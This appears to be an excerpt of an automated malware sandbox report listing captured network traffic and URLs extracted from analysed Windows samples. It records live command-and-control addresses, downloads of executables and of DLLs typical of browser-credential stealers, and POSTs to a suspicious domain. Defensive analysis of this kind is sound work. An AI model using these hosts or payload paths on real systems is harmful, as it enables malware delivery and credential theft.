Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCJDKzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=RRmGy1p57v2AkWc&MD=pMuuV+bZ HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=RRmGy1p57v2AkWc&MD=pMuuV+bZ HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Tue, 12 Nov 2024 20:08:55 GMTIf-None-Match: "6733b5d7-1ba400"
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: fleez-inc.sbs

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fleez-inc.sbs

Source: c3e1e78f6d.exe, 0000000D.00000002.2621813218.000000000152A000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2604516981.0000000001527000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000002.2621266837.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2728217584.0000000001001000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000002.2743711813.0000000001010000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2728544166.000000000100A000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2728824571.000000000100E000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.3023444353.0000000000E74000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.3024056962.0000000000E77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: c3e1e78f6d.exe, 00000017.00000003.3023444353.0000000000E74000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.3024056962.0000000000E77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/F
Source: c3e1e78f6d.exe, 0000000D.00000002.2621813218.000000000152A000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2604516981.0000000001527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/ld
Source: file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2164783980.0000000000FF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: c3e1e78f6d.exe, 0000000D.00000002.2622414625.0000000001568000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000002.2621813218.000000000152A000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2604516981.0000000001527000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2604699653.0000000001567000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2728217584.0000000001001000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000002.2743711813.0000000001024000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000002.2742683237.0000000001003000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2728544166.0000000001024000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000002.2742683237.0000000000F95000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.3021521340.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.3020786271.0000000000E83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: c3e1e78f6d.exe, 00000017.00000003.3021521340.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe5
Source: c3e1e78f6d.exe, 00000011.00000003.2728217584.0000000001001000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000002.2742683237.0000000001003000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeFc
Source: c3e1e78f6d.exe, 0000000D.00000002.2621813218.000000000152A000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2604516981.0000000001527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/pd
Source: file.exe, 00000000.00000002.2164783980.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2160637336.00000000008B7000.00000040.00000001.01000000.00000003.sdmp, 82b4c5cad2.exe, 0000000E.00000002.2486797329.00000000017DE000.00000004.00000020.00020000.00000000.sdmp, 82b4c5cad2.exe, 00000013.00000002.2669591001.0000000000C16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 82b4c5cad2.exe, 00000013.00000002.2669591001.0000000000C5D000.00000004.00000020.00020000.00000000.sdmp, 82b4c5cad2.exe, 00000013.00000002.2669591001.0000000000C16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2164783980.0000000000FF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllI~
Source: file.exe, 00000000.00000002.2164783980.0000000000FF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2164783980.0000000000FF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dllP
Source: file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll=
Source: file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2164783980.0000000000FF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/9
Source: 82b4c5cad2.exe, 00000013.00000002.2669591001.0000000000C5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/;
Source: 82b4c5cad2.exe, 00000013.00000002.2669591001.0000000000C16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/T
Source: 82b4c5cad2.exe, 00000013.00000002.2669591001.0000000000C16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2186074735.0000000023162000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php&
Source: 82b4c5cad2.exe, 0000000E.00000002.2486797329.0000000001837000.00000004.00000020.00020000.00000000.sdmp, 82b4c5cad2.exe, 00000013.00000002.2669591001.0000000000C5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: 82b4c5cad2.exe, 00000013.00000002.2669591001.0000000000C5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php2
Source: file.exe, 00000000.00000002.2186074735.0000000023173000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpC:
Source: file.exe, 00000000.00000002.2186074735.0000000023173000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpR
Source: file.exe, 00000000.00000002.2160637336.00000000008B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: 82b4c5cad2.exe, 00000013.00000002.2669591001.0000000000C5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpb
Source: 82b4c5cad2.exe, 00000013.00000002.2669591001.0000000000C5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpv
Source: 82b4c5cad2.exe, 0000000E.00000002.2486797329.0000000001837000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/r
Source: 82b4c5cad2.exe, 00000013.00000002.2669591001.0000000000C5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ta
Source: 82b4c5cad2.exe, 00000013.00000002.2669591001.0000000000C5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: file.exe, 00000000.00000002.2160637336.00000000008B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206Local
Source: file.exe, 00000000.00000002.2164783980.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206Nq
Source: 82b4c5cad2.exe, 00000013.00000002.2669591001.0000000000C16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206_
Source: c3e1e78f6d.exe, 0000000D.00000003.2436187685.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2579390588.00000000057F1000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2844798958.000000000557E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: c3e1e78f6d.exe, 0000000D.00000003.2436187685.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2579390588.00000000057F1000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2844798958.000000000557E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: c3e1e78f6d.exe, 0000000D.00000003.2436187685.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2579390588.00000000057F1000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2844798958.000000000557E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: c3e1e78f6d.exe, 0000000D.00000003.2436187685.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2579390588.00000000057F1000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2844798958.000000000557E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: c3e1e78f6d.exe, 0000000D.00000003.2436187685.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2579390588.00000000057F1000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2844798958.000000000557E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: c3e1e78f6d.exe, 0000000D.00000003.2436187685.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2579390588.00000000057F1000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2844798958.000000000557E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: c3e1e78f6d.exe, 0000000D.00000003.2436187685.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2579390588.00000000057F1000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2844798958.000000000557E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: c3e1e78f6d.exe, 0000000D.00000003.2436187685.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2579390588.00000000057F1000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2844798958.000000000557E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: c3e1e78f6d.exe, 0000000D.00000003.2436187685.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2579390588.00000000057F1000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2844798958.000000000557E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: file.exe, file.exe, 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2178846824.000000001D13C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2189602429.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
